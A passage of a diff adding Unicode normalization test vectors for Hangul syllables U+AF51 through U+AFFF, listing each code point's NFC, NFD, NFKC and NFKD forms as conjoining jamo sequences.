+{ source: [0xAF51], NFC: [0xAF51], NFD: [0x1101, 0x116A, 0x11B0], NFKC: [0xAF51], NFKD: [0x1101, 0x116A, 0x11B0] },
+{ source: [0xAF52], NFC: [0xAF52], NFD: [0x1101, 0x116A, 0x11B1], NFKC: [0xAF52], NFKD: [0x1101, 0x116A, 0x11B1] },
+{ source: [0xAF53], NFC: [0xAF53], NFD: [0x1101, 0x116A, 0x11B2], NFKC: [0xAF53], NFKD: [0x1101, 0x116A, 0x11B2] },
+{ source: [0xAF54], NFC: [0xAF54], NFD: [0x1101, 0x116A, 0x11B3], NFKC: [0xAF54], NFKD: [0x1101, 0x116A, 0x11B3] },
+{ source: [0xAF55], NFC: [0xAF55], NFD: [0x1101, 0x116A, 0x11B4], NFKC: [0xAF55], NFKD: [0x1101, 0x116A, 0x11B4] },
+{ source: [0xAF56], NFC: [0xAF56], NFD: [0x1101, 0x116A, 0x11B5], NFKC: [0xAF56], NFKD: [0x1101, 0x116A, 0x11B5] },
+{ source: [0xAF57], NFC: [0xAF57], NFD: [0x1101, 0x116A, 0x11B6], NFKC: [0xAF57], NFKD: [0x1101, 0x116A, 0x11B6] },
+{ source: [0xAF58], NFC: [0xAF58], NFD: [0x1101, 0x116A, 0x11B7], NFKC: [0xAF58], NFKD: [0x1101, 0x116A, 0x11B7] },
+{ source: [0xAF59], NFC: [0xAF59], NFD: [0x1101, 0x116A, 0x11B8], NFKC: [0xAF59], NFKD: [0x1101, 0x116A, 0x11B8] },
+{ source: [0xAF5A], NFC: [0xAF5A], NFD: [0x1101, 0x116A, 0x11B9], NFKC: [0xAF5A], NFKD: [0x1101, 0x116A, 0x11B9] },
+{ source: [0xAF5B], NFC: [0xAF5B], NFD: [0x1101, 0x116A, 0x11BA], NFKC: [0xAF5B], NFKD: [0x1101, 0x116A, 0x11BA] },
+{ source: [0xAF5C], NFC: [0xAF5C], NFD: [0x1101, 0x116A, 0x11BB], NFKC: [0xAF5C], NFKD: [0x1101, 0x116A, 0x11BB] },
+{ source: [0xAF5D], NFC: [0xAF5D], NFD: [0x1101, 0x116A, 0x11BC], NFKC: [0xAF5D], NFKD: [0x1101, 0x116A, 0x11BC] },
+{ source: [0xAF5E], NFC: [0xAF5E], NFD: [0x1101, 0x116A, 0x11BD], NFKC: [0xAF5E], NFKD: [0x1101, 0x116A, 0x11BD] },
+{ source: [0xAF5F], NFC: [0xAF5F], NFD: [0x1101, 0x116A, 0x11BE], NFKC: [0xAF5F], NFKD: [0x1101, 0x116A, 0x11BE] },
+{ source: [0xAF60], NFC: [0xAF60], NFD: [0x1101, 0x116A, 0x11BF], NFKC: [0xAF60], NFKD: [0x1101, 0x116A, 0x11BF] },
+{ source: [0xAF61], NFC: [0xAF61], NFD: [0x1101, 0x116A, 0x11C0], NFKC: [0xAF61], NFKD: [0x1101, 0x116A, 0x11C0] },
+{ source: [0xAF62], NFC: [0xAF62], NFD: [0x1101, 0x116A, 0x11C1], NFKC: [0xAF62], NFKD: [0x1101, 0x116A, 0x11C1] },
+{ source: [0xAF63], NFC: [0xAF63], NFD: [0x1101, 0x116A, 0x11C2], NFKC: [0xAF63], NFKD: [0x1101, 0x116A, 0x11C2] },
+{ source: [0xAF64], NFC: [0xAF64], NFD: [0x1101, 0x116B], NFKC: [0xAF64], NFKD: [0x1101, 0x116B] },
+{ source: [0xAF65], NFC: [0xAF65], NFD: [0x1101, 0x116B, 0x11A8], NFKC: [0xAF65], NFKD: [0x1101, 0x116B, 0x11A8] },
+{ source: [0xAF66], NFC: [0xAF66], NFD: [0x1101, 0x116B, 0x11A9], NFKC: [0xAF66], NFKD: [0x1101, 0x116B, 0x11A9] },
+{ source: [0xAF67], NFC: [0xAF67], NFD: [0x1101, 0x116B, 0x11AA], NFKC: [0xAF67], NFKD: [0x1101, 0x116B, 0x11AA] },
+{ source: [0xAF68], NFC: [0xAF68], NFD: [0x1101, 0x116B, 0x11AB], NFKC: [0xAF68], NFKD: [0x1101, 0x116B, 0x11AB] },
+{ source: [0xAF69], NFC: [0xAF69], NFD: [0x1101, 0x116B, 0x11AC], NFKC: [0xAF69], NFKD: [0x1101, 0x116B, 0x11AC] },
+{ source: [0xAF6A], NFC: [0xAF6A], NFD: [0x1101, 0x116B, 0x11AD], NFKC: [0xAF6A], NFKD: [0x1101, 0x116B, 0x11AD] },
+{ source: [0xAF6B], NFC: [0xAF6B], NFD: [0x1101, 0x116B, 0x11AE], NFKC: [0xAF6B], NFKD: [0x1101, 0x116B, 0x11AE] },
+{ source: [0xAF6C], NFC: [0xAF6C], NFD: [0x1101, 0x116B, 0x11AF], NFKC: [0xAF6C], NFKD: [0x1101, 0x116B, 0x11AF] },
+{ source: [0xAF6D], NFC: [0xAF6D], NFD: [0x1101, 0x116B, 0x11B0], NFKC: [0xAF6D], NFKD: [0x1101, 0x116B, 0x11B0] },
+{ source: [0xAF6E], NFC: [0xAF6E], NFD: [0x1101, 0x116B, 0x11B1], NFKC: [0xAF6E], NFKD: [0x1101, 0x116B, 0x11B1] },
+{ source: [0xAF6F], NFC: [0xAF6F], NFD: [0x1101, 0x116B, 0x11B2], NFKC: [0xAF6F], NFKD: [0x1101, 0x116B, 0x11B2] },
+{ source: [0xAF70], NFC: [0xAF70], NFD: [0x1101, 0x116B, 0x11B3], NFKC: [0xAF70], NFKD: [0x1101, 0x116B, 0x11B3] },
+{ source: [0xAF71], NFC: [0xAF71], NFD: [0x1101, 0x116B, 0x11B4], NFKC: [0xAF71], NFKD: [0x1101, 0x116B, 0x11B4] },
+{ source: [0xAF72], NFC: [0xAF72], NFD: [0x1101, 0x116B, 0x11B5], NFKC: [0xAF72], NFKD: [0x1101, 0x116B, 0x11B5] },
+{ source: [0xAF73], NFC: [0xAF73], NFD: [0x1101, 0x116B, 0x11B6], NFKC: [0xAF73], NFKD: [0x1101, 0x116B, 0x11B6] },
+{ source: [0xAF74], NFC: [0xAF74], NFD: [0x1101, 0x116B, 0x11B7], NFKC: [0xAF74], NFKD: [0x1101, 0x116B, 0x11B7] },
+{ source: [0xAF75], NFC: [0xAF75], NFD: [0x1101, 0x116B, 0x11B8], NFKC: [0xAF75], NFKD: [0x1101, 0x116B, 0x11B8] },
+{ source: [0xAF76], NFC: [0xAF76], NFD: [0x1101, 0x116B, 0x11B9], NFKC: [0xAF76], NFKD: [0x1101, 0x116B, 0x11B9] },
+{ source: [0xAF77], NFC: [0xAF77], NFD: [0x1101, 0x116B, 0x11BA], NFKC: [0xAF77], NFKD: [0x1101, 0x116B, 0x11BA] },
+{ source: [0xAF78], NFC: [0xAF78], NFD: [0x1101, 0x116B, 0x11BB], NFKC: [0xAF78], NFKD: [0x1101, 0x116B, 0x11BB] },
+{ source: [0xAF79], NFC: [0xAF79], NFD: [0x1101, 0x116B, 0x11BC], NFKC: [0xAF79], NFKD: [0x1101, 0x116B, 0x11BC] },
+{ source: [0xAF7A], NFC: [0xAF7A], NFD: [0x1101, 0x116B, 0x11BD], NFKC: [0xAF7A], NFKD: [0x1101, 0x116B, 0x11BD] },
+{ source: [0xAF7B], NFC: [0xAF7B], NFD: [0x1101, 0x116B, 0x11BE], NFKC: [0xAF7B], NFKD: [0x1101, 0x116B, 0x11BE] },
+{ source: [0xAF7C], NFC: [0xAF7C], NFD: [0x1101, 0x116B, 0x11BF], NFKC: [0xAF7C], NFKD: [0x1101, 0x116B, 0x11BF] },
+{ source: [0xAF7D], NFC: [0xAF7D], NFD: [0x1101, 0x116B, 0x11C0], NFKC: [0xAF7D], NFKD: [0x1101, 0x116B, 0x11C0] },
+{ source: [0xAF7E], NFC: [0xAF7E], NFD: [0x1101, 0x116B, 0x11C1], NFKC: [0xAF7E], NFKD: [0x1101, 0x116B, 0x11C1] },
+{ source: [0xAF7F], NFC: [0xAF7F], NFD: [0x1101, 0x116B, 0x11C2], NFKC: [0xAF7F], NFKD: [0x1101, 0x116B, 0x11C2] },
+{ source: [0xAF80], NFC: [0xAF80], NFD: [0x1101, 0x116C], NFKC: [0xAF80], NFKD: [0x1101, 0x116C] },
+{ source: [0xAF81], NFC: [0xAF81], NFD: [0x1101, 0x116C, 0x11A8], NFKC: [0xAF81], NFKD: [0x1101, 0x116C, 0x11A8] },
+{ source: [0xAF82], NFC: [0xAF82], NFD: [0x1101, 0x116C, 0x11A9], NFKC: [0xAF82], NFKD: [0x1101, 0x116C, 0x11A9] },
+{ source: [0xAF83], NFC: [0xAF83], NFD: [0x1101, 0x116C, 0x11AA], NFKC: [0xAF83], NFKD: [0x1101, 0x116C, 0x11AA] },
+{ source: [0xAF84], NFC: [0xAF84], NFD: [0x1101, 0x116C, 0x11AB], NFKC: [0xAF84], NFKD: [0x1101, 0x116C, 0x11AB] },
+{ source: [0xAF85], NFC: [0xAF85], NFD: [0x1101, 0x116C, 0x11AC], NFKC: [0xAF85], NFKD: [0x1101, 0x116C, 0x11AC] },
+{ source: [0xAF86], NFC: [0xAF86], NFD: [0x1101, 0x116C, 0x11AD], NFKC: [0xAF86], NFKD: [0x1101, 0x116C, 0x11AD] },
+{ source: [0xAF87], NFC: [0xAF87], NFD: [0x1101, 0x116C, 0x11AE], NFKC: [0xAF87], NFKD: [0x1101, 0x116C, 0x11AE] },
+{ source: [0xAF88], NFC: [0xAF88], NFD: [0x1101, 0x116C, 0x11AF], NFKC: [0xAF88], NFKD: [0x1101, 0x116C, 0x11AF] },
+{ source: [0xAF89], NFC: [0xAF89], NFD: [0x1101, 0x116C, 0x11B0], NFKC: [0xAF89], NFKD: [0x1101, 0x116C, 0x11B0] },
+{ source: [0xAF8A], NFC: [0xAF8A], NFD: [0x1101, 0x116C, 0x11B1], NFKC: [0xAF8A], NFKD: [0x1101, 0x116C, 0x11B1] },
+{ source: [0xAF8B], NFC: [0xAF8B], NFD: [0x1101, 0x116C, 0x11B2], NFKC: [0xAF8B], NFKD: [0x1101, 0x116C, 0x11B2] },
+{ source: [0xAF8C], NFC: [0xAF8C], NFD: [0x1101, 0x116C, 0x11B3], NFKC: [0xAF8C], NFKD: [0x1101, 0x116C, 0x11B3] },
+{ source: [0xAF8D], NFC: [0xAF8D], NFD: [0x1101, 0x116C, 0x11B4], NFKC: [0xAF8D], NFKD: [0x1101, 0x116C, 0x11B4] },
+{ source: [0xAF8E], NFC: [0xAF8E], NFD: [0x1101, 0x116C, 0x11B5], NFKC: [0xAF8E], NFKD: [0x1101, 0x116C, 0x11B5] },
+{ source: [0xAF8F], NFC: [0xAF8F], NFD: [0x1101, 0x116C, 0x11B6], NFKC: [0xAF8F], NFKD: [0x1101, 0x116C, 0x11B6] },
+{ source: [0xAF90], NFC: [0xAF90], NFD: [0x1101, 0x116C, 0x11B7], NFKC: [0xAF90], NFKD: [0x1101, 0x116C, 0x11B7] },
+{ source: [0xAF91], NFC: [0xAF91], NFD: [0x1101, 0x116C, 0x11B8], NFKC: [0xAF91], NFKD: [0x1101, 0x116C, 0x11B8] },
+{ source: [0xAF92], NFC: [0xAF92], NFD: [0x1101, 0x116C, 0x11B9], NFKC: [0xAF92], NFKD: [0x1101, 0x116C, 0x11B9] },
+{ source: [0xAF93], NFC: [0xAF93], NFD: [0x1101, 0x116C, 0x11BA], NFKC: [0xAF93], NFKD: [0x1101, 0x116C, 0x11BA] },
+{ source: [0xAF94], NFC: [0xAF94], NFD: [0x1101, 0x116C, 0x11BB], NFKC: [0xAF94], NFKD: [0x1101, 0x116C, 0x11BB] },
+{ source: [0xAF95], NFC: [0xAF95], NFD: [0x1101, 0x116C, 0x11BC], NFKC: [0xAF95], NFKD: [0x1101, 0x116C, 0x11BC] },
+{ source: [0xAF96], NFC: [0xAF96], NFD: [0x1101, 0x116C, 0x11BD], NFKC: [0xAF96], NFKD: [0x1101, 0x116C, 0x11BD] },
+{ source: [0xAF97], NFC: [0xAF97], NFD: [0x1101, 0x116C, 0x11BE], NFKC: [0xAF97], NFKD: [0x1101, 0x116C, 0x11BE] },
+{ source: [0xAF98], NFC: [0xAF98], NFD: [0x1101, 0x116C, 0x11BF], NFKC: [0xAF98], NFKD: [0x1101, 0x116C, 0x11BF] },
+{ source: [0xAF99], NFC: [0xAF99], NFD: [0x1101, 0x116C, 0x11C0], NFKC: [0xAF99], NFKD: [0x1101, 0x116C, 0x11C0] },
+{ source: [0xAF9A], NFC: [0xAF9A], NFD: [0x1101, 0x116C, 0x11C1], NFKC: [0xAF9A], NFKD: [0x1101, 0x116C, 0x11C1] },
+{ source: [0xAF9B], NFC: [0xAF9B], NFD: [0x1101, 0x116C, 0x11C2], NFKC: [0xAF9B], NFKD: [0x1101, 0x116C, 0x11C2] },
+{ source: [0xAF9C], NFC: [0xAF9C], NFD: [0x1101, 0x116D], NFKC: [0xAF9C], NFKD: [0x1101, 0x116D] },
+{ source: [0xAF9D], NFC: [0xAF9D], NFD: [0x1101, 0x116D, 0x11A8], NFKC: [0xAF9D], NFKD: [0x1101, 0x116D, 0x11A8] },
+{ source: [0xAF9E], NFC: [0xAF9E], NFD: [0x1101, 0x116D, 0x11A9], NFKC: [0xAF9E], NFKD: [0x1101, 0x116D, 0x11A9] },
+{ source: [0xAF9F], NFC: [0xAF9F], NFD: [0x1101, 0x116D, 0x11AA], NFKC: [0xAF9F], NFKD: [0x1101, 0x116D, 0x11AA] },
+{ source: [0xAFA0], NFC: [0xAFA0], NFD: [0x1101, 0x116D, 0x11AB], NFKC: [0xAFA0], NFKD: [0x1101, 0x116D, 0x11AB] },
+{ source: [0xAFA1], NFC: [0xAFA1], NFD: [0x1101, 0x116D, 0x11AC], NFKC: [0xAFA1], NFKD: [0x1101, 0x116D, 0x11AC] },
+{ source: [0xAFA2], NFC: [0xAFA2], NFD: [0x1101, 0x116D, 0x11AD], NFKC: [0xAFA2], NFKD: [0x1101, 0x116D, 0x11AD] },
+{ source: [0xAFA3], NFC: [0xAFA3], NFD: [0x1101, 0x116D, 0x11AE], NFKC: [0xAFA3], NFKD: [0x1101, 0x116D, 0x11AE] },
+{ source: [0xAFA4], NFC: [0xAFA4], NFD: [0x1101, 0x116D, 0x11AF], NFKC: [0xAFA4], NFKD: [0x1101, 0x116D, 0x11AF] },
+{ source: [0xAFA5], NFC: [0xAFA5], NFD: [0x1101, 0x116D, 0x11B0], NFKC: [0xAFA5], NFKD: [0x1101, 0x116D, 0x11B0] },
+{ source: [0xAFA6], NFC: [0xAFA6], NFD: [0x1101, 0x116D, 0x11B1], NFKC: [0xAFA6], NFKD: [0x1101, 0x116D, 0x11B1] },
+{ source: [0xAFA7], NFC: [0xAFA7], NFD: [0x1101, 0x116D, 0x11B2], NFKC: [0xAFA7], NFKD: [0x1101, 0x116D, 0x11B2] },
+{ source: [0xAFA8], NFC: [0xAFA8], NFD: [0x1101, 0x116D, 0x11B3], NFKC: [0xAFA8], NFKD: [0x1101, 0x116D, 0x11B3] },
+{ source: [0xAFA9], NFC: [0xAFA9], NFD: [0x1101, 0x116D, 0x11B4], NFKC: [0xAFA9], NFKD: [0x1101, 0x116D, 0x11B4] },
+{ source: [0xAFAA], NFC: [0xAFAA], NFD: [0x1101, 0x116D, 0x11B5], NFKC: [0xAFAA], NFKD: [0x1101, 0x116D, 0x11B5] },
+{ source: [0xAFAB], NFC: [0xAFAB], NFD: [0x1101, 0x116D, 0x11B6], NFKC: [0xAFAB], NFKD: [0x1101, 0x116D, 0x11B6] },
+{ source: [0xAFAC], NFC: [0xAFAC], NFD: [0x1101, 0x116D, 0x11B7], NFKC: [0xAFAC], NFKD: [0x1101, 0x116D, 0x11B7] },
+{ source: [0xAFAD], NFC: [0xAFAD], NFD: [0x1101, 0x116D, 0x11B8], NFKC: [0xAFAD], NFKD: [0x1101, 0x116D, 0x11B8] },
+{ source: [0xAFAE], NFC: [0xAFAE], NFD: [0x1101, 0x116D, 0x11B9], NFKC: [0xAFAE], NFKD: [0x1101, 0x116D, 0x11B9] },
+{ source: [0xAFAF], NFC: [0xAFAF], NFD: [0x1101, 0x116D, 0x11BA], NFKC: [0xAFAF], NFKD: [0x1101, 0x116D, 0x11BA] },
+{ source: [0xAFB0], NFC: [0xAFB0], NFD: [0x1101, 0x116D, 0x11BB], NFKC: [0xAFB0], NFKD: [0x1101, 0x116D, 0x11BB] },
+{ source: [0xAFB1], NFC: [0xAFB1], NFD: [0x1101, 0x116D, 0x11BC], NFKC: [0xAFB1], NFKD: [0x1101, 0x116D, 0x11BC] },
+{ source: [0xAFB2], NFC: [0xAFB2], NFD: [0x1101, 0x116D, 0x11BD], NFKC: [0xAFB2], NFKD: [0x1101, 0x116D, 0x11BD] },
+{ source: [0xAFB3], NFC: [0xAFB3], NFD: [0x1101, 0x116D, 0x11BE], NFKC: [0xAFB3], NFKD: [0x1101, 0x116D, 0x11BE] },
+{ source: [0xAFB4], NFC: [0xAFB4], NFD: [0x1101, 0x116D, 0x11BF], NFKC: [0xAFB4], NFKD: [0x1101, 0x116D, 0x11BF] },
+{ source: [0xAFB5], NFC: [0xAFB5], NFD: [0x1101, 0x116D, 0x11C0], NFKC: [0xAFB5], NFKD: [0x1101, 0x116D, 0x11C0] },
+{ source: [0xAFB6], NFC: [0xAFB6], NFD: [0x1101, 0x116D, 0x11C1], NFKC: [0xAFB6], NFKD: [0x1101, 0x116D, 0x11C1] },
+{ source: [0xAFB7], NFC: [0xAFB7], NFD: [0x1101, 0x116D, 0x11C2], NFKC: [0xAFB7], NFKD: [0x1101, 0x116D, 0x11C2] },
+{ source: [0xAFB8], NFC: [0xAFB8], NFD: [0x1101, 0x116E], NFKC: [0xAFB8], NFKD: [0x1101, 0x116E] },
+{ source: [0xAFB9], NFC: [0xAFB9], NFD: [0x1101, 0x116E, 0x11A8], NFKC: [0xAFB9], NFKD: [0x1101, 0x116E, 0x11A8] },
+{ source: [0xAFBA], NFC: [0xAFBA], NFD: [0x1101, 0x116E, 0x11A9], NFKC: [0xAFBA], NFKD: [0x1101, 0x116E, 0x11A9] },
+{ source: [0xAFBB], NFC: [0xAFBB], NFD: [0x1101, 0x116E, 0x11AA], NFKC: [0xAFBB], NFKD: [0x1101, 0x116E, 0x11AA] },
+{ source: [0xAFBC], NFC: [0xAFBC], NFD: [0x1101, 0x116E, 0x11AB], NFKC: [0xAFBC], NFKD: [0x1101, 0x116E, 0x11AB] },
+{ source: [0xAFBD], NFC: [0xAFBD], NFD: [0x1101, 0x116E, 0x11AC], NFKC: [0xAFBD], NFKD: [0x1101, 0x116E, 0x11AC] },
+{ source: [0xAFBE], NFC: [0xAFBE], NFD: [0x1101, 0x116E, 0x11AD], NFKC: [0xAFBE], NFKD: [0x1101, 0x116E, 0x11AD] },
+{ source: [0xAFBF], NFC: [0xAFBF], NFD: [0x1101, 0x116E, 0x11AE], NFKC: [0xAFBF], NFKD: [0x1101, 0x116E, 0x11AE] },
+{ source: [0xAFC0], NFC: [0xAFC0], NFD: [0x1101, 0x116E, 0x11AF], NFKC: [0xAFC0], NFKD: [0x1101, 0x116E, 0x11AF] },
+{ source: [0xAFC1], NFC: [0xAFC1], NFD: [0x1101, 0x116E, 0x11B0], NFKC: [0xAFC1], NFKD: [0x1101, 0x116E, 0x11B0] },
+{ source: [0xAFC2], NFC: [0xAFC2], NFD: [0x1101, 0x116E, 0x11B1], NFKC: [0xAFC2], NFKD: [0x1101, 0x116E, 0x11B1] },
+{ source: [0xAFC3], NFC: [0xAFC3], NFD: [0x1101, 0x116E, 0x11B2], NFKC: [0xAFC3], NFKD: [0x1101, 0x116E, 0x11B2] },
+{ source: [0xAFC4], NFC: [0xAFC4], NFD: [0x1101, 0x116E, 0x11B3], NFKC: [0xAFC4], NFKD: [0x1101, 0x116E, 0x11B3] },
+{ source: [0xAFC5], NFC: [0xAFC5], NFD: [0x1101, 0x116E, 0x11B4], NFKC: [0xAFC5], NFKD: [0x1101, 0x116E, 0x11B4] },
+{ source: [0xAFC6], NFC: [0xAFC6], NFD: [0x1101, 0x116E, 0x11B5], NFKC: [0xAFC6], NFKD: [0x1101, 0x116E, 0x11B5] },
+{ source: [0xAFC7], NFC: [0xAFC7], NFD: [0x1101, 0x116E, 0x11B6], NFKC: [0xAFC7], NFKD: [0x1101, 0x116E, 0x11B6] },
+{ source: [0xAFC8], NFC: [0xAFC8], NFD: [0x1101, 0x116E, 0x11B7], NFKC: [0xAFC8], NFKD: [0x1101, 0x116E, 0x11B7] },
+{ source: [0xAFC9], NFC: [0xAFC9], NFD: [0x1101, 0x116E, 0x11B8], NFKC: [0xAFC9], NFKD: [0x1101, 0x116E, 0x11B8] },
+{ source: [0xAFCA], NFC: [0xAFCA], NFD: [0x1101, 0x116E, 0x11B9], NFKC: [0xAFCA], NFKD: [0x1101, 0x116E, 0x11B9] },
+{ source: [0xAFCB], NFC: [0xAFCB], NFD: [0x1101, 0x116E, 0x11BA], NFKC: [0xAFCB], NFKD: [0x1101, 0x116E, 0x11BA] },
+{ source: [0xAFCC], NFC: [0xAFCC], NFD: [0x1101, 0x116E, 0x11BB], NFKC: [0xAFCC], NFKD: [0x1101, 0x116E, 0x11BB] },
+{ source: [0xAFCD], NFC: [0xAFCD], NFD: [0x1101, 0x116E, 0x11BC], NFKC: [0xAFCD], NFKD: [0x1101, 0x116E, 0x11BC] },
+{ source: [0xAFCE], NFC: [0xAFCE], NFD: [0x1101, 0x116E, 0x11BD], NFKC: [0xAFCE], NFKD: [0x1101, 0x116E, 0x11BD] },
+{ source: [0xAFCF], NFC: [0xAFCF], NFD: [0x1101, 0x116E, 0x11BE], NFKC: [0xAFCF], NFKD: [0x1101, 0x116E, 0x11BE] },
+{ source: [0xAFD0], NFC: [0xAFD0], NFD: [0x1101, 0x116E, 0x11BF], NFKC: [0xAFD0], NFKD: [0x1101, 0x116E, 0x11BF] },
+{ source: [0xAFD1], NFC: [0xAFD1], NFD: [0x1101, 0x116E, 0x11C0], NFKC: [0xAFD1], NFKD: [0x1101, 0x116E, 0x11C0] },
+{ source: [0xAFD2], NFC: [0xAFD2], NFD: [0x1101, 0x116E, 0x11C1], NFKC: [0xAFD2], NFKD: [0x1101, 0x116E, 0x11C1] },
+{ source: [0xAFD3], NFC: [0xAFD3], NFD: [0x1101, 0x116E, 0x11C2], NFKC: [0xAFD3], NFKD: [0x1101, 0x116E, 0x11C2] },
+{ source: [0xAFD4], NFC: [0xAFD4], NFD: [0x1101, 0x116F], NFKC: [0xAFD4], NFKD: [0x1101, 0x116F] },
+{ source: [0xAFD5], NFC: [0xAFD5], NFD: [0x1101, 0x116F, 0x11A8], NFKC: [0xAFD5], NFKD: [0x1101, 0x116F, 0x11A8] },
+{ source: [0xAFD6], NFC: [0xAFD6], NFD: [0x1101, 0x116F, 0x11A9], NFKC: [0xAFD6], NFKD: [0x1101, 0x116F, 0x11A9] },
+{ source: [0xAFD7], NFC: [0xAFD7], NFD: [0x1101, 0x116F, 0x11AA], NFKC: [0xAFD7], NFKD: [0x1101, 0x116F, 0x11AA] },
+{ source: [0xAFD8], NFC: [0xAFD8], NFD: [0x1101, 0x116F, 0x11AB], NFKC: [0xAFD8], NFKD: [0x1101, 0x116F, 0x11AB] },
+{ source: [0xAFD9], NFC: [0xAFD9], NFD: [0x1101, 0x116F, 0x11AC], NFKC: [0xAFD9], NFKD: [0x1101, 0x116F, 0x11AC] },
+{ source: [0xAFDA], NFC: [0xAFDA], NFD: [0x1101, 0x116F, 0x11AD], NFKC: [0xAFDA], NFKD: [0x1101, 0x116F, 0x11AD] },
+{ source: [0xAFDB], NFC: [0xAFDB], NFD: [0x1101, 0x116F, 0x11AE], NFKC: [0xAFDB], NFKD: [0x1101, 0x116F, 0x11AE] },
+{ source: [0xAFDC], NFC: [0xAFDC], NFD: [0x1101, 0x116F, 0x11AF], NFKC: [0xAFDC], NFKD: [0x1101, 0x116F, 0x11AF] },
+{ source: [0xAFDD], NFC: [0xAFDD], NFD: [0x1101, 0x116F, 0x11B0], NFKC: [0xAFDD], NFKD: [0x1101, 0x116F, 0x11B0] },
+{ source: [0xAFDE], NFC: [0xAFDE], NFD: [0x1101, 0x116F, 0x11B1], NFKC: [0xAFDE], NFKD: [0x1101, 0x116F, 0x11B1] },
+{ source: [0xAFDF], NFC: [0xAFDF], NFD: [0x1101, 0x116F, 0x11B2], NFKC: [0xAFDF], NFKD: [0x1101, 0x116F, 0x11B2] },
+{ source: [0xAFE0], NFC: [0xAFE0], NFD: [0x1101, 0x116F, 0x11B3], NFKC: [0xAFE0], NFKD: [0x1101, 0x116F, 0x11B3] },
+{ source: [0xAFE1], NFC: [0xAFE1], NFD: [0x1101, 0x116F, 0x11B4], NFKC: [0xAFE1], NFKD: [0x1101, 0x116F, 0x11B4] },
+{ source: [0xAFE2], NFC: [0xAFE2], NFD: [0x1101, 0x116F, 0x11B5], NFKC: [0xAFE2], NFKD: [0x1101, 0x116F, 0x11B5] },
+{ source: [0xAFE3], NFC: [0xAFE3], NFD: [0x1101, 0x116F, 0x11B6], NFKC: [0xAFE3], NFKD: [0x1101, 0x116F, 0x11B6] },
+{ source: [0xAFE4], NFC: [0xAFE4], NFD: [0x1101, 0x116F, 0x11B7], NFKC: [0xAFE4], NFKD: [0x1101, 0x116F, 0x11B7] },
+{ source: [0xAFE5], NFC: [0xAFE5], NFD: [0x1101, 0x116F, 0x11B8], NFKC: [0xAFE5], NFKD: [0x1101, 0x116F, 0x11B8] },
+{ source: [0xAFE6], NFC: [0xAFE6], NFD: [0x1101, 0x116F, 0x11B9], NFKC: [0xAFE6], NFKD: [0x1101, 0x116F, 0x11B9] },
+{ source: [0xAFE7], NFC: [0xAFE7], NFD: [0x1101, 0x116F, 0x11BA], NFKC: [0xAFE7], NFKD: [0x1101, 0x116F, 0x11BA] },
+{ source: [0xAFE8], NFC: [0xAFE8], NFD: [0x1101, 0x116F, 0x11BB], NFKC: [0xAFE8], NFKD: [0x1101, 0x116F, 0x11BB] },
+{ source: [0xAFE9], NFC: [0xAFE9], NFD: [0x1101, 0x116F, 0x11BC], NFKC: [0xAFE9], NFKD: [0x1101, 0x116F, 0x11BC] },
+{ source: [0xAFEA], NFC: [0xAFEA], NFD: [0x1101, 0x116F, 0x11BD], NFKC: [0xAFEA], NFKD: [0x1101, 0x116F, 0x11BD] },
+{ source: [0xAFEB], NFC: [0xAFEB], NFD: [0x1101, 0x116F, 0x11BE], NFKC: [0xAFEB], NFKD: [0x1101, 0x116F, 0x11BE] },
+{ source: [0xAFEC], NFC: [0xAFEC], NFD: [0x1101, 0x116F, 0x11BF], NFKC: [0xAFEC], NFKD: [0x1101, 0x116F, 0x11BF] },
+{ source: [0xAFED], NFC: [0xAFED], NFD: [0x1101, 0x116F, 0x11C0], NFKC: [0xAFED], NFKD: [0x1101, 0x116F, 0x11C0] },
+{ source: [0xAFEE], NFC: [0xAFEE], NFD: [0x1101, 0x116F, 0x11C1], NFKC: [0xAFEE], NFKD: [0x1101, 0x116F, 0x11C1] },
+{ source: [0xAFEF], NFC: [0xAFEF], NFD: [0x1101, 0x116F, 0x11C2], NFKC: [0xAFEF], NFKD: [0x1101, 0x116F, 0x11C2] },
+{ source: [0xAFF0], NFC: [0xAFF0], NFD: [0x1101, 0x1170], NFKC: [0xAFF0], NFKD: [0x1101, 0x1170] },
+{ source: [0xAFF1], NFC: [0xAFF1], NFD: [0x1101, 0x1170, 0x11A8], NFKC: [0xAFF1], NFKD: [0x1101, 0x1170, 0x11A8] },
+{ source: [0xAFF2], NFC: [0xAFF2], NFD: [0x1101, 0x1170, 0x11A9], NFKC: [0xAFF2], NFKD: [0x1101, 0x1170, 0x11A9] },
+{ source: [0xAFF3], NFC: [0xAFF3], NFD: [0x1101, 0x1170, 0x11AA], NFKC: [0xAFF3], NFKD: [0x1101, 0x1170, 0x11AA] },
+{ source: [0xAFF4], NFC: [0xAFF4], NFD: [0x1101, 0x1170, 0x11AB], NFKC: [0xAFF4], NFKD: [0x1101, 0x1170, 0x11AB] },
+{ source: [0xAFF5], NFC: [0xAFF5], NFD: [0x1101, 0x1170, 0x11AC], NFKC: [0xAFF5], NFKD: [0x1101, 0x1170, 0x11AC] },
+{ source: [0xAFF6], NFC: [0xAFF6], NFD: [0x1101, 0x1170, 0x11AD], NFKC: [0xAFF6], NFKD: [0x1101, 0x1170, 0x11AD] },
+{ source: [0xAFF7], NFC: [0xAFF7], NFD: [0x1101, 0x1170, 0x11AE], NFKC: [0xAFF7], NFKD: [0x1101, 0x1170, 0x11AE] },
+{ source: [0xAFF8], NFC: [0xAFF8], NFD: [0x1101, 0x1170, 0x11AF], NFKC: [0xAFF8], NFKD: [0x1101, 0x1170, 0x11AF] },
+{ source: [0xAFF9], NFC: [0xAFF9], NFD: [0x1101, 0x1170, 0x11B0], NFKC: [0xAFF9], NFKD: [0x1101, 0x1170, 0x11B0] },
+{ source: [0xAFFA], NFC: [0xAFFA], NFD: [0x1101, 0x1170, 0x11B1], NFKC: [0xAFFA], NFKD: [0x1101, 0x1170, 0x11B1] },
+{ source: [0xAFFB], NFC: [0xAFFB], NFD: [0x1101, 0x1170, 0x11B2], NFKC: [0xAFFB], NFKD: [0x1101, 0x1170, 0x11B2] },
+{ source: [0xAFFC], NFC: [0xAFFC], NFD: [0x1101, 0x1170, 0x11B3], NFKC: [0xAFFC], NFKD: [0x1101, 0x1170, 0x11B3] },
+{ source: [0xAFFD], NFC: [0xAFFD], NFD: [0x1101, 0x1170, 0x11B4], NFKC: [0xAFFD], NFKD: [0x1101, 0x1170, 0x11B4] },
+{ source: [0xAFFE], NFC: [0xAFFE], NFD: [0x1101, 0x1170, 0x11B5], NFKC: [0xAFFE], NFKD: [0x1101, 0x1170, 0x11B5] },
+{ source: [0xAFFF], NFC: [0xAFFF], NFD: [0x1101, 0x1170, 0x11B6], NFKC: [0xAFFF], NFKD: [0x1101, 0x1170, 0x11B6] },
